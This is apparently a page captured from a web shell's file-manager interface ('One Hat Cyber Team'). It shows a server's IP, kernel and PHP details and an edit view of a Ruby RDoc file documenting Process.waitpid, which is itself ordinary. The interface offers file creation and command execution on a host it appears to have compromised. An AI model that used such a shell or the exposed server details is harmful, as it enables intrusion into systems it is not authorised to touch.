⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.93
Server IP:
65.108.141.171
Server:
Linux server.heloix.com 5.4.0-214-generic #234-Ubuntu SMP Fri Mar 14 23:50:27 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
ri
/
2.7.0
/
system
/
Process
/
Edit File: waitpid-c.ri
U:RDoc::AnyMethod[iI"waitpid:ETI"Process::waitpid;TT:publico:RDoc::Markup::Document:@parts[ o:RDoc::Markup::Paragraph; [ I"DWaits for a child process to exit, returns its process id, and ;TI"6sets <code>$?</code> to a Process::Status object ;TI"Econtaining information on that process. Which child it waits on ;TI"#depends on the value of _pid_:;To:RDoc::Markup::BlankLine o:RDoc::Markup::List: @type: NOTE:@items[ o:RDoc::Markup::ListItem:@label[I"> 0;T; [o; ; [I"7Waits for the child whose process ID equals _pid_.;T@o;;[I"0;T; [o; ; [I"CWaits for any child whose process group ID equals that of the ;TI"calling process.;T@o;;[I"-1;T; [o; ; [I"=Waits for any child process (the default if no _pid_ is ;TI"given).;T@o;;[I" < -1;T; [o; ; [I"DWaits for any child whose process group ID equals the absolute ;TI"value of _pid_.;T@o; ; [ I"AThe _flags_ argument may be a logical or of the flag values ;TI";Process::WNOHANG (do not block if no child available) ;TI"9or Process::WUNTRACED (return stopped children that ;TI"@haven't been reported). Not all flags are available on all ;TI"Dplatforms, but a flag value of zero will work on all platforms.;T@o; ; [I"HCalling this method raises a SystemCallError if there are no child ;TI"/processes. Not available on all platforms.;T@o:RDoc::Markup::Verbatim; [I"include Process ;TI"0fork { exit 99 } #=> 27429 ;TI"0wait #=> 27429 ;TI"-$?.exitstatus #=> 99 ;TI" ;TI"0pid = fork { sleep 3 } #=> 27440 ;TI"DTime.now #=> 2008-03-08 19:56:16 +0900 ;TI".waitpid(pid, Process::WNOHANG) #=> nil ;TI"DTime.now #=> 2008-03-08 19:56:16 +0900 ;TI"0waitpid(pid, 0) #=> 27440 ;TI"CTime.now #=> 2008-03-08 19:56:19 +0900;T:@format0: @fileI"process.c;T:0@omit_headings_from_table_of_contents_below0I"2Process.waitpid(pid=-1, flags=0) -> integer;T0[ I"(*args);T@KFI"Process;TcRDoc::NormalModule00
Simpan